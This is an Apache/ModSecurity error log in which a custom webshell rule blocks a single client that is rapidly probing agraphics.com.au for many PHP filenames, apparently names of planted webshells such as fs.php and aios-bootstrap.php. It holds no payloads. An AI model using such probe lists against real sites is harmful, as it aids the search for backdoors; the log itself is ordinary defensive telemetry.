[Fri Apr 24 06:40:51.934189 2026] [:error] [pid 19200:tid 19224] [client 74.248.17.200:38450] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uwu.php"] [unique_id "aeqf8zQ--M3-tsKAnhGxUgAAANA"]
[Fri Apr 24 06:40:52.476840 2026] [:error] [pid 19200:tid 19225] [client 74.248.17.200:31072] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uwu.php"] [unique_id "aeqf9DQ--M3-tsKAnhGxVAAAANE"]
[Fri Apr 24 06:40:53.362564 2026] [:error] [pid 19101:tid 19142] [client 74.248.17.200:25387] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uwu.php"] [unique_id "aeqf9WAHj9bEvrTgbO3aTAAAAEU"]
[Fri Apr 24 06:40:54.228933 2026] [:error] [pid 19100:tid 19124] [client 74.248.17.200:12405] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeqf9rF_hzQs4CqbifcUJwAAAA4"]
[Fri Apr 24 06:40:54.812647 2026] [:error] [pid 19101:tid 19156] [client 74.248.17.200:7110] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeqf9mAHj9bEvrTgbO3aUAAAAFM"]
[Fri Apr 24 06:40:55.406945 2026] [:error] [pid 19100:tid 19128] [client 74.248.17.200:12310] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeqf97F_hzQs4CqbifcUKgAAABI"]
[Fri Apr 24 06:40:56.087277 2026] [:error] [pid 52129:tid 52155] [client 74.248.17.200:18939] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeqf-OKCZKf8_u2LKiB82QAAARY"]
[Fri Apr 24 06:40:56.895017 2026] [:error] [pid 19200:tid 19231] [client 74.248.17.200:7123] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/one.php"] [unique_id "aeqf-DQ--M3-tsKAnhGxYAAAANc"]
[Fri Apr 24 06:40:57.619093 2026] [:error] [pid 19100:tid 19121] [client 74.248.17.200:34011] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/one.php"] [unique_id "aeqf-bF_hzQs4CqbifcULAAAAAs"]
[Fri Apr 24 06:40:58.379841 2026] [:error] [pid 52129:tid 52144] [client 74.248.17.200:25361] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/one.php"] [unique_id "aeqf-uKCZKf8_u2LKiB83QAAAQs"]
[Fri Apr 24 06:40:59.215433 2026] [:error] [pid 19102:tid 19186] [client 74.248.17.200:12877] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/one.php"] [unique_id "aeqf-wDSgrbLEZbkqD7VAgAAAJY"]
[Fri Apr 24 06:41:00.129189 2026] [:error] [pid 19200:tid 19225] [client 74.248.17.200:17694] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/006.php"] [unique_id "aeqf_DQ--M3-tsKAnhGxZQAAANE"]
[Fri Apr 24 06:41:01.231054 2026] [:error] [pid 19101:tid 19160] [client 74.248.17.200:34003] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/006.php"] [unique_id "aeqf_WAHj9bEvrTgbO3aWgAAAFc"]
[Fri Apr 24 06:41:02.299513 2026] [:error] [pid 19200:tid 19214] [client 74.248.17.200:40849] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/006.php"] [unique_id "aeqf_jQ--M3-tsKAnhGxbAAAAMY"]
[Fri Apr 24 06:41:03.348719 2026] [:error] [pid 19100:tid 19126] [client 74.248.17.200:25405] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/006.php"] [unique_id "aeqf_7F_hzQs4CqbifcULQAAABA"]
[Fri Apr 24 06:41:04.384484 2026] [:error] [pid 52129:tid 52156] [client 74.248.17.200:40864] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aeqgAOKCZKf8_u2LKiB85AAAARc"]
[Fri Apr 24 06:41:05.024686 2026] [:error] [pid 52129:tid 52154] [client 74.248.17.200:25355] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aeqgAeKCZKf8_u2LKiB85QAAARU"]
[Fri Apr 24 06:41:05.584728 2026] [:error] [pid 52129:tid 52137] [client 74.248.17.200:20380] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aeqgAeKCZKf8_u2LKiB86gAAAQQ"]
[Fri Apr 24 06:41:06.157335 2026] [:error] [pid 52129:tid 52138] [client 74.248.17.200:24416] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aeqgAuKCZKf8_u2LKiB87QAAAQU"]
[Fri Apr 24 06:41:06.714476 2026] [:error] [pid 19100:tid 19123] [client 74.248.17.200:24427] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2026w.php"] [unique_id "aeqgArF_hzQs4CqbifcULwAAAA0"]
[Fri Apr 24 06:41:07.439493 2026] [:error] [pid 19200:tid 19220] [client 74.248.17.200:7137] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2026w.php"] [unique_id "aeqgAzQ--M3-tsKAnhGxewAAAMw"]
[Fri Apr 24 06:41:08.373636 2026] [:error] [pid 19102:tid 19180] [client 74.248.17.200:12266] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2026w.php"] [unique_id "aeqgBADSgrbLEZbkqD7VGAAAAJA"]
[Fri Apr 24 06:41:09.807228 2026] [:error] [pid 19101:tid 19154] [client 74.248.17.200:12267] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2026w.php"] [unique_id "aeqgBWAHj9bEvrTgbO3aaQAAAFE"]
[Fri Apr 24 06:41:10.509391 2026] [:error] [pid 19200:tid 19224] [client 74.248.17.200:24427] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aeqgBjQ--M3-tsKAnhGxigAAANA"]
[Fri Apr 24 06:41:11.253742 2026] [:error] [pid 19200:tid 19226] [client 74.248.17.200:6824] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aeqgBzQ--M3-tsKAnhGxjgAAANI"]
[Fri Apr 24 06:41:12.459198 2026] [:error] [pid 19102:tid 19165] [client 74.248.17.200:40844] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aeqgCADSgrbLEZbkqD7VHgAAAIE"]
[Fri Apr 24 06:41:13.753138 2026] [:error] [pid 19102:tid 19171] [client 74.248.17.200:12231] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aeqgCQDSgrbLEZbkqD7VIAAAAIc"]
[Fri Apr 24 06:41:15.520030 2026] [:error] [pid 52129:tid 52155] [client 74.248.17.200:25403] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amxloxxr.php"] [unique_id "aeqgC-KCZKf8_u2LKiB89wAAARY"]
[Fri Apr 24 06:41:16.229345 2026] [:error] [pid 19100:tid 19122] [client 74.248.17.200:12350] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amxloxxr.php"] [unique_id "aeqgDLF_hzQs4CqbifcUNQAAAAw"]
[Fri Apr 24 06:41:16.965885 2026] [:error] [pid 19100:tid 19115] [client 74.248.17.200:6832] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amxloxxr.php"] [unique_id "aeqgDLF_hzQs4CqbifcUOAAAAAY"]
[Fri Apr 24 06:41:17.772828 2026] [:error] [pid 52129:tid 52141] [client 74.248.17.200:12401] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amxloxxr.php"] [unique_id "aeqgDeKCZKf8_u2LKiB8_AAAAQg"]
[Fri Apr 24 06:41:18.366856 2026] [:error] [pid 52129:tid 52142] [client 74.248.17.200:40839] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qhupyoon.php"] [unique_id "aeqgDuKCZKf8_u2LKiB9AQAAAQk"]
[Fri Apr 24 06:41:19.099063 2026] [:error] [pid 52129:tid 52152] [client 74.248.17.200:14746] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qhupyoon.php"] [unique_id "aeqgD-KCZKf8_u2LKiB9CAAAARM"]
[Fri Apr 24 06:41:20.203899 2026] [:error] [pid 52129:tid 52144] [client 74.248.17.200:20371] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qhupyoon.php"] [unique_id "aeqgEOKCZKf8_u2LKiB9DwAAAQs"]
[Fri Apr 24 06:41:21.136686 2026] [:error] [pid 52129:tid 52134] [client 74.248.17.200:22504] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qhupyoon.php"] [unique_id "aeqgEeKCZKf8_u2LKiB9EQAAAQE"]
[Fri Apr 24 06:41:21.883639 2026] [:error] [pid 19102:tid 19164] [client 74.248.17.200:7128] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeqgEQDSgrbLEZbkqD7VIwAAAIA"]
[Fri Apr 24 06:41:22.860127 2026] [:error] [pid 19100:tid 19113] [client 74.248.17.200:12864] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeqgErF_hzQs4CqbifcUQQAAAAQ"]
[Fri Apr 24 06:41:23.862695 2026] [:error] [pid 19100:tid 19134] [client 74.248.17.200:6833] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeqgE7F_hzQs4CqbifcURAAAABg"]
[Fri Apr 24 06:41:24.538820 2026] [:error] [pid 52129:tid 52152] [client 74.248.17.200:6805] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeqgFOKCZKf8_u2LKiB9FwAAARM"]
[Fri Apr 24 06:41:25.526966 2026] [:error] [pid 52129:tid 52144] [client 74.248.17.200:18883] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aeqgFeKCZKf8_u2LKiB9GgAAAQs"]
[Fri Apr 24 06:41:26.519800 2026] [:error] [pid 52129:tid 52135] [client 74.248.17.200:40848] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aeqgFuKCZKf8_u2LKiB9HwAAAQI"]
[Fri Apr 24 06:41:27.402968 2026] [:error] [pid 19101:tid 19145] [client 74.248.17.200:31089] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aeqgF2AHj9bEvrTgbO3adwAAAEg"]
[Fri Apr 24 06:41:28.099251 2026] [:error] [pid 19200:tid 19209] [client 74.248.17.200:12367] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aeqgGDQ--M3-tsKAnhGxzQAAAME"]
[Fri Apr 24 06:41:28.794858 2026] [:error] [pid 52129:tid 52156] [client 74.248.17.200:40883] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6ap7e.php"] [unique_id "aeqgGOKCZKf8_u2LKiB9IwAAARc"]
[Fri Apr 24 06:41:29.560010 2026] [proxy_fcgi:error] [pid 52129:tid 52143] [client 74.248.17.200:31077] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:41:29.851425 2026] [proxy_fcgi:error] [pid 52129:tid 52148] [client 74.248.17.200:31077] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:41:30.125440 2026] [proxy_fcgi:error] [pid 52129:tid 52133] [client 74.248.17.200:31077] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:41:30.388514 2026] [proxy_fcgi:error] [pid 52129:tid 52157] [client 74.248.17.200:31077] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:41:30.651662 2026] [proxy_fcgi:error] [pid 52129:tid 52140] [client 74.248.17.200:31077] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:41:30.937713 2026] [proxy_fcgi:error] [pid 52129:tid 52144] [client 74.248.17.200:31077] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:41:31.359520 2026] [proxy_fcgi:error] [pid 52129:tid 52147] [client 74.248.17.200:31077] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:41:31.621641 2026] [proxy_fcgi:error] [pid 52129:tid 52142] [client 74.248.17.200:31077] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:41:31.895773 2026] [proxy_fcgi:error] [pid 52129:tid 52149] [client 74.248.17.200:31077] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:41:32.158070 2026] [proxy_fcgi:error] [pid 52129:tid 52143] [client 74.248.17.200:31077] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:41:32.420378 2026] [proxy_fcgi:error] [pid 52129:tid 52153] [client 74.248.17.200:31077] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:41:32.678573 2026] [:error] [pid 52129:tid 52146] [client 74.248.17.200:31077] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "aeqgHOKCZKf8_u2LKiB9NQAAAQ0"]
[Fri Apr 24 06:41:33.311612 2026] [:error] [pid 19102:tid 19186] [client 74.248.17.200:40834] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "aeqgHQDSgrbLEZbkqD7VKAAAAJY"]
[Fri Apr 24 06:41:33.934020 2026] [:error] [pid 52129:tid 52137] [client 74.248.17.200:25397] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "aeqgHeKCZKf8_u2LKiB9OgAAAQQ"]
[Fri Apr 24 06:41:34.901905 2026] [:error] [pid 19100:tid 19134] [client 74.248.17.200:12386] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "aeqgHrF_hzQs4CqbifcUUQAAABg"]
[Fri Apr 24 06:41:35.611016 2026] [:error] [pid 52129:tid 52151] [client 74.248.17.200:40857] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ptanf.php"] [unique_id "aeqgH-KCZKf8_u2LKiB9QAAAARI"]
[Fri Apr 24 06:41:36.904764 2026] [:error] [pid 19102:tid 19188] [client 74.248.17.200:14761] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ptanf.php"] [unique_id "aeqgIADSgrbLEZbkqD7VLgAAAJg"]
[Fri Apr 24 06:41:37.824927 2026] [:error] [pid 19102:tid 19182] [client 74.248.17.200:15832] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ptanf.php"] [unique_id "aeqgIQDSgrbLEZbkqD7VMwAAAJI"]
[Fri Apr 24 06:41:38.707474 2026] [:error] [pid 19101:tid 19158] [client 74.248.17.200:22522] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ptanf.php"] [unique_id "aeqgImAHj9bEvrTgbO3agAAAAFU"]
[Fri Apr 24 06:41:39.595616 2026] [:error] [pid 19102:tid 19186] [client 74.248.17.200:24437] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctex1.php"] [unique_id "aeqgIwDSgrbLEZbkqD7VOwAAAJY"]
